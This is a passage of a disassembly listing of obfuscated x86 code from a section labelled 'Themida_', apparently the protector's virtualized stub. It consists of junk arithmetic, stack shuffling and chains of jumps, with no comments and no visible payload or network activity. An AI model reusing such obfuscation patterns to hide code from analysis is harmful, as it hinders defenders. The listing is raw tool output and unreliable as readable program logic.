jmp loc_556E29
; ---------------------------------------------------------------------------
loc_555F8E: ; CODE XREF: Themida_:0055B21Cj
pop ecx
jmp loc_55DD56
; ---------------------------------------------------------------------------
loc_555F94: ; CODE XREF: Themida_:0055A5E6j
push dword ptr [esp]
mov edx, [esp]
jmp loc_55B59C
; ---------------------------------------------------------------------------
loc_555F9F: ; CODE XREF: Themida_:005597A7j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5575F7
; ---------------------------------------------------------------------------
loc_555FAE: ; CODE XREF: Themida_:005522F3j
pop eax
rep movsd
add esp, [edx+38h]
push 1463h
mov [esp], ecx
push eax
jmp loc_55B357
; ---------------------------------------------------------------------------
loc_555FC2: ; CODE XREF: Themida_:0055B33Fj
add esp, 4
jmp loc_551815
; ---------------------------------------------------------------------------
loc_555FCD: ; CODE XREF: Themida_:0055CA40j
sub esp, 4
jmp loc_558B75
; ---------------------------------------------------------------------------
loc_555FD8: ; CODE XREF: Themida_:005525C9j
push eax
mov eax, 4
add ecx, eax
pop eax
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push 0
sub [esp], esi
mov esi, [esp]
add esp, 4
jmp loc_555DD7
; ---------------------------------------------------------------------------
loc_556003: ; CODE XREF: Themida_:005519AFj
mov bl, 0E7h
shr bl, 4
jmp loc_5535E7
; ---------------------------------------------------------------------------
loc_55600D: ; CODE XREF: Themida_:00557DEAj
pop esp
mov [esp], ebx
push esp
pop ebx
push 2A24h
mov [esp], edi
mov edi, 4
add ebx, edi
jmp loc_559657
; ---------------------------------------------------------------------------
loc_556027: ; CODE XREF: Themida_:0055C4E7j
push eax
mov eax, 7DD23874h
add edi, eax
pop eax
add edi, ebx
sub edi, 7DD23874h
jmp loc_5555F6
; ---------------------------------------------------------------------------
loc_55603D: ; CODE XREF: Themida_:005580C8j
sub ebp, 678D4775h
pop edi
sub ebp, 9BA82421h
and ecx, ebp
jmp loc_55DCC9
; ---------------------------------------------------------------------------
loc_556051: ; CODE XREF: Themida_:005524AAj
pop ebx
add esi, ebx
jmp loc_55662D
; ---------------------------------------------------------------------------
loc_556059: ; CODE XREF: Themida_:00554A48j
mov esp, [esp]
dec dword ptr [esp]
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_556065: ; CODE XREF: Themida_:005559D1j
push edi
mov edi, 21CE14A8h
add [esp+4], edi
jmp loc_556FCD
; ---------------------------------------------------------------------------
loc_556074: ; CODE XREF: Themida_:00555F74j
add ecx, esi
jmp loc_554CD8
; ---------------------------------------------------------------------------
loc_55607B: ; CODE XREF: Themida_:0055A436j
pop ecx
push ecx
jmp loc_554FB3
; ---------------------------------------------------------------------------
loc_556082: ; CODE XREF: Themida_:00554083j
push 500Bh
mov [esp], ebp
jmp loc_55831C
; ---------------------------------------------------------------------------
loc_55608F: ; CODE XREF: Themida_:00556AEAj
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 62415C2Fh
not ebx
jmp loc_555838
; ---------------------------------------------------------------------------
loc_5560A4: ; CODE XREF: Themida_:0055B0B0j
sub al, 0D8h
sub al, 30h
mov dx, [esp]
add esp, 2
sub esp, 4
mov [esp], ebx
mov bl, 34h
push 739h
mov [esp], edx
sub esp, 4
mov [esp], ecx
push ebx
jmp loc_555731
; ---------------------------------------------------------------------------
loc_5560CB: ; CODE XREF: Themida_:0055871Aj
sub ecx, 79800C96h
jmp loc_55655F
; ---------------------------------------------------------------------------
loc_5560D6: ; CODE XREF: Themida_:0055A7FDj
push esp
pop edx
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_558791
; ---------------------------------------------------------------------------
loc_5560F2: ; CODE XREF: Themida_:0055998Cj
push dword ptr [esp]
jmp loc_553789
; ---------------------------------------------------------------------------
loc_5560FA: ; CODE XREF: Themida_:00552948j
push ebx
mov bl, 81h
push ebx
mov bh, 79h
jmp loc_5558A6
; ---------------------------------------------------------------------------
loc_556105: ; CODE XREF: Themida_:00551CA0j
push eax
mov al, 72h
sub al, 89h
add al, 0C4h
mov ch, al
pop eax
mov al, ch
pop ecx
dec al
sub al, 56h
jmp loc_5585FA
; ---------------------------------------------------------------------------
loc_55611B: ; CODE XREF: Themida_:005595C5j
mov cx, [esp]
sub esp, 4
mov [esp], edx
jmp loc_55A48B
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_555567
; ---------------------------------------------------------------------------
loc_556136: ; CODE XREF: Themida_:00556D59j
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_55BBB0
; ---------------------------------------------------------------------------
loc_556149: ; CODE XREF: Themida_:00552C72j
xchg esi, [esp]
mov esp, [esp]
jmp loc_5549DC
; ---------------------------------------------------------------------------
loc_556154: ; CODE XREF: Themida_:0055B13Cj
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_553198
; ---------------------------------------------------------------------------
loc_55615E: ; CODE XREF: Themida_:0055258Bj
mov [esp], esp
add dword ptr [esp], 4
pop edx
push esi
push ebp
mov ebp, 4
push ebp
jmp loc_555D33
; ---------------------------------------------------------------------------
loc_556176: ; CODE XREF: Themida_:00554F82j
pop ebp
xor eax, ecx
jmp loc_557417
; ---------------------------------------------------------------------------
loc_55617E: ; CODE XREF: Themida_:00554A79j
add esi, 2D5E4A7Dh
jmp loc_552963
; ---------------------------------------------------------------------------
loc_556189: ; CODE XREF: Themida_:0055B492j
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_556198: ; CODE XREF: Themida_:00555CF9j
mov eax, 76C742DFh
jmp loc_556FE1
; ---------------------------------------------------------------------------
loc_5561A2: ; CODE XREF: Themida_:0055334Aj
xor ecx, [esp]
mov esp, [esp]
shr word ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5561B2: ; CODE XREF: Themida_:0055B206j
sub ebx, 12A765AAh
push ebp
mov ebp, 92437B0h
inc ebp
shr ebp, 3
or ebp, 110C62ACh
xor ebp, 40787CB3h
add ebx, ebp
pop ebp
add esi, ebx
pop ebx
add esi, 2
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_55A3A5
; ---------------------------------------------------------------------------
loc_5561ED: ; CODE XREF: Themida_:0055653Cj
pop edx
push dword ptr [esp]
pop ebx
push edx
mov edx, esp
add edx, 4
push edi
push 5B70h
jmp loc_55B02B
; ---------------------------------------------------------------------------
loc_556206: ; CODE XREF: Themida_:0055C672j
add esp, 4
xor al, bh
jmp loc_556E1F
; ---------------------------------------------------------------------------
loc_556213: ; CODE XREF: Themida_:0055A502j
pop edi
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_55351D
; ---------------------------------------------------------------------------
loc_556225: ; CODE XREF: Themida_:005576B0j
mov [esp], ebx
jmp loc_55BA7C
; ---------------------------------------------------------------------------
loc_55622D: ; CODE XREF: Themida_:00557770j
mov edx, esp
add edx, 4
add edx, 4
jmp loc_55710C
; ---------------------------------------------------------------------------
loc_55623D: ; CODE XREF: Themida_:00558CF5j
mov [esp], ebx
sub esp, 4
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
jmp loc_553263
; ---------------------------------------------------------------------------
loc_556256: ; CODE XREF: Themida_:00552B3Cj
shr eax, 7
sub eax, 0A95AE6DFh
add esi, eax
pop eax
neg esi
xor esi, 0F9AA0CFCh
sub ebx, 29C5B2Fh
add ebx, esi
add ebx, 29C5B2Fh
pop esi
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
sar word ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_556291: ; CODE XREF: Themida_:0055B267j
add edx, edi
jmp loc_553836
; ---------------------------------------------------------------------------
loc_556298: ; CODE XREF: Themida_:0055DA53j
push 6DFD6AEBh
pop esi
add esi, 24697384h
add esi, 6D992195h
jmp loc_552A7B
; ---------------------------------------------------------------------------
loc_5562AF: ; CODE XREF: Themida_:0055D480j
pop esi
push ebp
mov ebp, 21754230h
jmp loc_55AE05
; ---------------------------------------------------------------------------
loc_5562BB: ; CODE XREF: Themida_:005543CDj
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_553AEB
; ---------------------------------------------------------------------------
loc_5562CB: ; CODE XREF: Themida_:0055830Cj
xchg edi, [esp]
pop esp
and eax, 289C400Dh
sub eax, 20880007h
jmp loc_5573C4
; ---------------------------------------------------------------------------
loc_5562DE: ; CODE XREF: Themida_:00553CF6j
pop eax
jmp loc_55B7F2
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop edx
push ecx
jmp loc_5532F5
; ---------------------------------------------------------------------------
loc_5562EE: ; CODE XREF: Themida_:0055C168j
pop esp
or eax, eax
jz loc_55BC58
push dword ptr [edi+1Ch]
sub dword ptr [esp], 0A7C1202h
pop ecx
jmp loc_556B18
; ---------------------------------------------------------------------------
loc_556307: ; CODE XREF: Themida_:00557C34j
sub ecx, 1
xor ecx, 0CB34ABA4h
jmp loc_553572
; ---------------------------------------------------------------------------
loc_556315: ; CODE XREF: Themida_:0055A8EEj
pop ebp
and eax, ebx
push dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
add esp, 4
jmp loc_55BDA7
; ---------------------------------------------------------------------------
loc_556330: ; CODE XREF: Themida_:005531E0j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_552E19
; ---------------------------------------------------------------------------
loc_556347: ; CODE XREF: Themida_:00555687j
sub dword ptr [esp+4], 55A50FD1h
sub [esp+4], esi
add dword ptr [esp+4], 55A50FD1h
push ebx
mov ebx, 6B444E6Ah
add dword ptr [esp+8], 38596494h
jmp loc_55DB92
; ---------------------------------------------------------------------------
loc_55636E: ; CODE XREF: Themida_:00559956j
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55637C: ; CODE XREF: Themida_:00558A90j
push ecx
mov ecx, 462C021Ah
add eax, ecx
pop ecx
add eax, 72794B48h
jmp loc_556C0E
; ---------------------------------------------------------------------------
loc_55638F: ; CODE XREF: Themida_:00553108j
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_551D52
; ---------------------------------------------------------------------------
loc_5563A6: ; CODE XREF: Themida_:0055D6BEj
add ebx, 4
sub ebx, 4
jmp loc_559019
; ---------------------------------------------------------------------------
loc_5563B7: ; CODE XREF: Themida_:0055320Cj
mov ebp, edx
mov edx, [esp]
push eax
mov eax, esp
jmp loc_558603
; ---------------------------------------------------------------------------
loc_5563C4: ; CODE XREF: Themida_:00556E0Fj
xchg ebp, [esp]
jmp loc_55A5A1
; ---------------------------------------------------------------------------
loc_5563CC: ; CODE XREF: Themida_:00559FD3j
xchg esi, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
push eax
sub esp, 4
jmp loc_5527D4
; ---------------------------------------------------------------------------
loc_5563DF: ; CODE XREF: Themida_:0055D9D5j
shr ebp, 5
add ebp, 0FECF4DCAh
add edx, ebp
pop ebp
push edi
push ebp
mov ebp, 51021514h
jmp loc_55659D
; ---------------------------------------------------------------------------
loc_5563F7: ; CODE XREF: Themida_:0055DD1Cj
sub edi, 3DF704D0h
sub edi, edx
add edi, 3DF704D0h
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_55402F
; ---------------------------------------------------------------------------
loc_556413: ; CODE XREF: Themida_:005579EDj
push 0D79h
mov [esp], ebx
push ecx
push 6B6D055Ah
mov ecx, [esp]
add esp, 4
push 6999h
mov [esp], eax
jmp loc_552F00
; ---------------------------------------------------------------------------
loc_556437: ; CODE XREF: Themida_:0055CDF6j
mov edx, [esp]
add esp, 4
add edi, 8810F3FAh
add eax, edi
pop edi
sub eax, edx
push ecx
mov ecx, 4B418B1h
sub ecx, 15AF69Ch
sub eax, ecx
pop ecx
pop edx
xchg eax, [esp]
pop esp
mov [esp], eax
jmp loc_55D60B
; ---------------------------------------------------------------------------
loc_556467: ; CODE XREF: Themida_:00557A04j
push dword ptr [esp]
push dword ptr [esp]
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add esp, 4
jmp loc_559776
; ---------------------------------------------------------------------------
loc_55648E: ; CODE XREF: Themida_:0055C9F5j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_556493: ; CODE XREF: Themida_:005598B0j
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push ebx
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
mov [esp], eax
jmp loc_55A72E
; ---------------------------------------------------------------------------
loc_5564B9: ; CODE XREF: Themida_:00557943j
add eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_554938
; ---------------------------------------------------------------------------
loc_5564C6: ; CODE XREF: Themida_:00555294j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
mov ebp, 4
sub esi, ebp
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_553F49
; ---------------------------------------------------------------------------
loc_5564EE: ; CODE XREF: Themida_:00558539j
mov eax, 46633AFBh
add ebp, eax
pop eax
mov edx, [esp]
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_556A50
; ---------------------------------------------------------------------------
loc_55650D: ; CODE XREF: Themida_:00553F6Ej
add [esp+4], edi
jmp loc_55A02B
; ---------------------------------------------------------------------------
loc_556516: ; CODE XREF: Themida_:0055D856j
add ebx, 2E8D42DEh
add eax, ebx
pop ebx
add eax, ebx
sub eax, 3692603Fh
pop ebx
push esi
mov esi, 2
add eax, esi
pop esi
xchg eax, [esp]
pop esp
push ebx
mov bl, dl
push edx
mov dh, bl
mov [eax], dh
jmp loc_5561ED
; ---------------------------------------------------------------------------
loc_556541: ; CODE XREF: Themida_:00556E88j
xor ebp, 0ABC0E285h
add ecx, ebp
jmp loc_55AC38
; ---------------------------------------------------------------------------
loc_55654E: ; CODE XREF: Themida_:0055ABCBj
mov esi, [esp]
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55655F: ; CODE XREF: Themida_:005560D1j
push ecx
xor dword ptr [esp], 463F7ACEh
pop eax
push edx
mov edx, 1EDF4A5Dh
or edx, 11EF7C08h
shr edx, 4
not edx
jmp loc_5567E1
; ---------------------------------------------------------------------------
loc_55657E: ; CODE XREF: Themida_:00554066j
xor ebx, edi
pop edi
add eax, ebx
pop ebx
add eax, 2
xchg eax, [esp]
pop esp
test cx, ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_556594: ; CODE XREF: Themida_:0055585Ej
sub al, 2Ch
push edx
push ebx
jmp loc_55D30E
; ---------------------------------------------------------------------------
loc_55659D: ; CODE XREF: Themida_:005563F2j
neg ebp
dec ebp
jmp loc_556B57
; ---------------------------------------------------------------------------
loc_5565A5: ; CODE XREF: Themida_:00557714j
sub ch, bl
pop ebx
xor ch, 7Eh
and ch, 91h
shr ch, 1
sub esp, 2
mov [esp], cx
inc byte ptr [esp+1]
pop cx
xor ch, 0D7h
jmp loc_559725
; ---------------------------------------------------------------------------
loc_5565C5: ; CODE XREF: Themida_:005556DBj
push edx
push eax
mov eax, 2
push edi
mov edi, eax
mov edx, edi
pop edi
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
push ebx
mov ebx, 45127A32h
not ebx
jmp loc_559E5C
; ---------------------------------------------------------------------------
loc_5565EB: ; CODE XREF: Themida_:0055D2FAj
neg edi
add edi, 12B72586h
add ebx, 747E5518h
sub ebx, edi
sub ebx, 747E5518h
jmp loc_558878
; ---------------------------------------------------------------------------
loc_556606: ; CODE XREF: Themida_:0055CA4Dj
not cx
jmp loc_555D59
; ---------------------------------------------------------------------------
loc_55660E: ; CODE XREF: Themida_:00558E2Dj
or ecx, 147547C7h
jmp loc_5598E2
; ---------------------------------------------------------------------------
mov cx, [esp]
push 59F7h
jmp loc_55C500
; ---------------------------------------------------------------------------
loc_556627: ; CODE XREF: Themida_:005569D0j
push esi
jmp loc_55C8BC
; ---------------------------------------------------------------------------
loc_55662D: ; CODE XREF: Themida_:00556054j
sub esi, 3F1935E3h
jmp loc_552C71
; ---------------------------------------------------------------------------
loc_556638: ; CODE XREF: Themida_:005529B9j
mov esi, esp
jmp loc_55A32E
; ---------------------------------------------------------------------------
loc_55663F: ; CODE XREF: Themida_:0055451Dj
pop edx
jmp loc_552AD3
; ---------------------------------------------------------------------------
loc_556645: ; CODE XREF: Themida_:00557EFCj
add ecx, 0BA2CBF16h
jmp loc_55A78F
; ---------------------------------------------------------------------------
loc_556650: ; CODE XREF: Themida_:00557DCDj
xor edx, 1AF23CC6h
jmp loc_553A15
; ---------------------------------------------------------------------------
loc_55665B: ; CODE XREF: Themida_:005598CFj
pop edx
xchg esi, [esp]
pop esp
xor ebx, eax
pop small word ptr [eax]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55666A: ; CODE XREF: Themida_:00557EE5j
mov edi, esp
push ebp
mov ebp, 4
add edi, ebp
pop ebp
add edi, 4
jmp loc_55A33F
; ---------------------------------------------------------------------------
loc_556680: ; CODE XREF: Themida_:0055B01Aj
add esp, 4
jmp loc_5534FA
; ---------------------------------------------------------------------------
loc_556688: ; CODE XREF: Themida_:0055BB14j
push edi
push esi
mov esi, 371A3DFBh
mov edi, 0C946D185h
add edi, esi
pop esi
push esi
push ebx
push edx
mov edx, 0B9A11A4h
jmp loc_5542E9
; ---------------------------------------------------------------------------
loc_5566A4: ; CODE XREF: Themida_:00555746j
add dword ptr [esp], 4
pop esi
add esi, 4
push ebx
push 2
pop ebx
push ebx
mov ebx, 55B96CA2h
add ebx, 0B2BCA0B7h
sub esi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
add esi, ebx
add esi, 8760D59h
pop ebx
xchg esi, [esp]
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5566E6: ; CODE XREF: Themida_:0055D74Fj
or cl, 75h
jmp loc_551BC0
; ---------------------------------------------------------------------------
loc_5566EE: ; CODE XREF: Themida_:0055571Dj
mov cl, 11h
push ecx
mov ch, 0A3h
or ch, 3Ch
sub ch, 0Dh
mov dl, ch
jmp loc_553DF9
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_55A514
; ---------------------------------------------------------------------------
loc_55670F: ; CODE XREF: Themida_:005529C1j
mov edi, 1DB2671Eh
sub esi, edi
pop edi
jmp loc_55A507
; ---------------------------------------------------------------------------
loc_55671C: ; CODE XREF: Themida_:0055CE84j
not dword ptr [esp]
pop ebx
neg ebx
sub ebx, 0A0666929h
mov ecx, 0BAF68FE4h
sub ecx, ebx
pop ebx
inc ecx
xor ecx, 77696EB9h
add edx, ecx
pop ecx
sub edx, 54A019FDh
sub edx, 3F1225DCh
sub edx, 4B7A2801h
add edx, eax
push ebp
mov ebp, 4B7A2801h
add edx, ebp
pop ebp
jmp loc_5584E0
; ---------------------------------------------------------------------------
loc_55675C: ; CODE XREF: Themida_:005579BAj
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
not eax
xor [esp], eax
xor eax, [esp]
xor [esp], eax
mov edi, [esp]
add esp, 4
xor eax, edi
xor edi, eax
jmp loc_5574B5
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
jmp loc_55B1CA
; ---------------------------------------------------------------------------
loc_556788: ; CODE XREF: Themida_:00557D10j
add eax, 4
push esi
push ebp
mov ebp, 7C12310Fh
mov esi, 573D5AB6h
xor esi, ebp
pop ebp
xor esi, 4D8C051Fh
push eax
mov eax, 68BB1B81h
jmp loc_555497
; ---------------------------------------------------------------------------
loc_5567AD: ; CODE XREF: Themida_:00551ACEj
push dword ptr [esp]
pop eax
add esp, 4
add ebx, 2DE67378h
add ebx, eax
sub ebx, 2DE67378h
push 417h
jmp loc_5576C8
; ---------------------------------------------------------------------------
loc_5567CC: ; CODE XREF: Themida_:005527B5j
push ebx
mov ebx, 18635AA9h
neg ebx
push esi
mov esi, 0E79CA555h
sub ebx, esi
jmp loc_55A3B4
; ---------------------------------------------------------------------------
loc_5567E1: ; CODE XREF: Themida_:00556579j
inc edx
sub edx, 0B7C08D4Dh
xor eax, edx
pop edx
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_55BCF2
; ---------------------------------------------------------------------------
loc_556800: ; CODE XREF: Themida_:00556F30j
add ecx, edi
pop edi
jmp loc_55B98A
; ---------------------------------------------------------------------------
loc_556808: ; CODE XREF: Themida_:00553716j
mov esp, [esp]
mov ax, [esp]
push edx
push 56F6h
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ecx
mov ecx, 8940AE9h
jmp loc_55902D
; ---------------------------------------------------------------------------
loc_55682B: ; CODE XREF: Themida_:00553038j
pop edx
add esp, 4
xor eax, edx
jmp loc_553F73
; ---------------------------------------------------------------------------
loc_556836: ; CODE XREF: Themida_:00558088j
pop dword ptr [esp]
jmp loc_554215
; ---------------------------------------------------------------------------
loc_55683E: ; CODE XREF: Themida_:005533C2j
push dword ptr [esp]
pop edx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push 8B3h
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5531B8
; ---------------------------------------------------------------------------
loc_55686E: ; CODE XREF: Themida_:0055DCBCj
pop edi
xor edx, [esp]
jmp loc_553710
; ---------------------------------------------------------------------------
loc_556877: ; CODE XREF: Themida_:0055291Ej
mov [esp], esi
jmp loc_55AC89
; ---------------------------------------------------------------------------
loc_55687F: ; CODE XREF: Themida_:00553359j
mov eax, [esp]
push edx
mov edx, esp
push ebx
jmp loc_555381
; ---------------------------------------------------------------------------
loc_55688B: ; CODE XREF: Themida_:005523EBj
mov ebx, 6A307D8Bh
and edx, ebx
pop ebx
push 0
sub [esp], edx
pop edx
jmp loc_555539
; ---------------------------------------------------------------------------
loc_5568A1: ; CODE XREF: Themida_:00551883j
pop esp
mov eax, [esp]
add esp, 4
jmp loc_55C34A
; ---------------------------------------------------------------------------
loc_5568B0: ; CODE XREF: Themida_:0055C393j
mov ecx, 7B4E0CB7h
add [esp+4], ecx
pop ecx
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push 70BFh
mov [esp], ebx
mov ebx, 7B4E0CB7h
sub eax, ebx
pop ebx
push esi
push 13420F2Bh
push dword ptr [esp]
jmp loc_5555EA
; ---------------------------------------------------------------------------
loc_5568FB: ; CODE XREF: Themida_:005587FCj
add ebx, 4
jmp loc_553DA7
; ---------------------------------------------------------------------------
loc_556906: ; CODE XREF: Themida_:00553624j
dec dl
jmp loc_5523AB
; ---------------------------------------------------------------------------
loc_55690D: ; CODE XREF: Themida_:0055BC2Ej
shr ecx, 4
inc ecx
xor ecx, 38F0A6Fh
jmp loc_55424B
; ---------------------------------------------------------------------------
loc_55691C: ; CODE XREF: Themida_:0055A4C9j
push edi
push esi
xor dword ptr [esp], 5B8E0BDEh
pop edi
xor edi, 5B8E0BDEh
mov edx, edi
pop edi
pop esi
push dword ptr [esp]
pop ebp
push ebx
jmp loc_5553D9
; ---------------------------------------------------------------------------
loc_55693A: ; CODE XREF: Themida_:0055C0D4j
push eax
push esp
pop eax
push ebx
push 4
pop ebx
add eax, ebx
pop ebx
push 523Ch
mov [esp], ebx
mov ebx, 4
sub eax, 76C87C28h
jmp loc_55A857
; ---------------------------------------------------------------------------
loc_55695E: ; CODE XREF: Themida_:005587F5j
push ebp
mov ebp, 51B00817h
add ebx, ebp
pop ebp
jmp loc_559DDC
; ---------------------------------------------------------------------------
loc_55696C: ; CODE XREF: Themida_:0055ADA1j
xchg ecx, [esp]
mov esp, [esp]
jmp loc_553004
; ---------------------------------------------------------------------------
loc_556977: ; CODE XREF: Themida_:0055A88Ej
mov ebp, 7AE908C9h
or ebp, 7D1A42C0h
jmp loc_55513D
; ---------------------------------------------------------------------------
loc_556987: ; CODE XREF: Themida_:0055707Ej
sub al, 0BDh
add al, 3Dh
sub bl, al
pop eax
push edx
jmp loc_55D53F
; ---------------------------------------------------------------------------
loc_556994: ; CODE XREF: Themida_:0055B8A4j
not ecx
add ecx, 95AAB43Fh
jmp loc_553CDE
; ---------------------------------------------------------------------------
loc_5569A1: ; CODE XREF: Themida_:0055C013j
div cl
jmp loc_5546EA
; ---------------------------------------------------------------------------
loc_5569A8: ; CODE XREF: Themida_:005533B6j
mov [esp], edx
jmp loc_5589EF
; ---------------------------------------------------------------------------
loc_5569B0: ; CODE XREF: Themida_:0055C267j
shl cl, 7
jmp loc_554D7F
; ---------------------------------------------------------------------------
loc_5569B8: ; CODE XREF: Themida_:005596DCj
add edx, 548C6424h
jmp loc_55742F
; ---------------------------------------------------------------------------
loc_5569C3: ; CODE XREF: Themida_:0055366Aj
mov esi, esp
jmp loc_55B15F
; ---------------------------------------------------------------------------
loc_5569CA: ; CODE XREF: Themida_:0055A329j
mov eax, ebx
pop ebx
mov ecx, [esp]
jmp loc_556627
; ---------------------------------------------------------------------------
loc_5569D5: ; CODE XREF: Themida_:0055C9E7j
pop esp
push 68C8h
jmp loc_5526FE
; ---------------------------------------------------------------------------
loc_5569E0: ; CODE XREF: Themida_:005539CFj
mov ch, 8Ch
xor ch, dh
pop edx
inc ch
inc ch
add ch, 27h
sub ah, ch
mov ecx, [esp]
add esp, 4
jmp loc_55956C
; ---------------------------------------------------------------------------
loc_5569F9: ; CODE XREF: Themida_:005535E2j
xor edx, 14E319EEh
add edx, 9DA48B8Fh
jmp loc_5519FC
; ---------------------------------------------------------------------------
loc_556A0A: ; CODE XREF: Themida_:005549D0j
pop esp
xchg ebx, [esp]
pop esp
push edx
mov edx, 80h
and ecx, edx
jmp loc_551ED8
; ---------------------------------------------------------------------------
loc_556A1C: ; CODE XREF: Themida_:0055399Dj
mov ebp, 34BC63DBh
mov esi, ebp
pop ebp
sub ebx, esi
pop esi
pop edx
shr ebx, 5
push edi
jmp loc_552E8C
; ---------------------------------------------------------------------------
loc_556A31: ; CODE XREF: Themida_:0055985Fj
add esp, 4
add esi, 2
xchg esi, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_556A48: ; CODE XREF: Themida_:00553C1Aj
push dx
push ecx
jmp loc_55813C
; ---------------------------------------------------------------------------
loc_556A50: ; CODE XREF: Themida_:00556508j
mov esp, [esp]
jmp loc_5528A5
; ---------------------------------------------------------------------------
loc_556A58: ; CODE XREF: Themida_:00553F95j
push ecx
mov ecx, 6DDA0CFAh
shl ecx, 6
sub ecx, 638F208Eh
jmp loc_557844
; ---------------------------------------------------------------------------
loc_556A6C: ; CODE XREF: Themida_:0055554Bj
shl esi, 6
push edi
mov edi, 46182B7Fh
xor esi, edi
mov edi, [esp]
push eax
mov eax, esp
jmp loc_5524FC
; ---------------------------------------------------------------------------
loc_556A82: ; CODE XREF: Themida_:0055A9E0j
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
push edi
mov edi, esp
jmp loc_5577F3
; ---------------------------------------------------------------------------
loc_556A93: ; CODE XREF: Themida_:0055497Cj
mov bl, ch
mov al, bl
mov ebx, [esp]
add esp, 4
push edx
mov dh, al
jmp loc_55A808
; ---------------------------------------------------------------------------
loc_556AA8: ; CODE XREF: Themida_:00558FE2j
add al, ch
sub al, 46h
push ecx
mov ch, 31h
add al, ch
pop ecx
jmp loc_558A66
; ---------------------------------------------------------------------------
lodsd
push ebx
mov ebx, 13369C5h
add eax, 385A3F7Bh
sub eax, 1CAF5BB0h
jmp loc_55C1A6
; ---------------------------------------------------------------------------
loc_556ACD: ; CODE XREF: Themida_:0055CE6Aj
mov esi, 0F8A61BAh
add edx, esi
jmp loc_55B260
; ---------------------------------------------------------------------------
loc_556AD9: ; CODE XREF: Themida_:0055A68Dj
add dword ptr [esp], 4
jmp loc_55B074
; ---------------------------------------------------------------------------
loc_556AE5: ; CODE XREF: Themida_:00555833j
sub eax, 4
jmp loc_55608F
; ---------------------------------------------------------------------------
loc_556AEF: ; CODE XREF: Themida_:00556B75j
add ecx, 4
jmp loc_55CEB5
; ---------------------------------------------------------------------------
lodsb
jmp loc_55C16D
; ---------------------------------------------------------------------------
loc_556B00: ; CODE XREF: Themida_:0055CE7Dj
mov [esp], edx
mov edx, 4
mov esi, edx
mov edx, [esp]
add esp, 4
jmp loc_55C590
; ---------------------------------------------------------------------------
loc_556B18: ; CODE XREF: Themida_:00556302j
sub esp, 4
mov [esp], edx
push edi
push esi
push 35717ACDh
mov esi, [esp]
add esp, 4
shl esi, 2
xchg edi, esi
not edi
xchg edi, esi
sub esi, 1
xor esi, 72001D6Fh
mov edi, esi
pop esi
jmp loc_557DAA
; ---------------------------------------------------------------------------
loc_556B4B: ; CODE XREF: Themida_:00558C1Fj
mov [esp], edi
push dword ptr [esp]
pop edx
jmp loc_5550BF
; ---------------------------------------------------------------------------
loc_556B57: ; CODE XREF: Themida_:005565A0j
shl ebp, 1
and ebp, 7B1825C5h
jmp loc_5597DE
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
mov eax, [esp]
push 0C36h
mov [esp], ecx
push esp
pop ecx
jmp loc_556AEF
; ---------------------------------------------------------------------------
loc_556B7A: ; CODE XREF: Themida_:005575CAj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_55367C
; ---------------------------------------------------------------------------
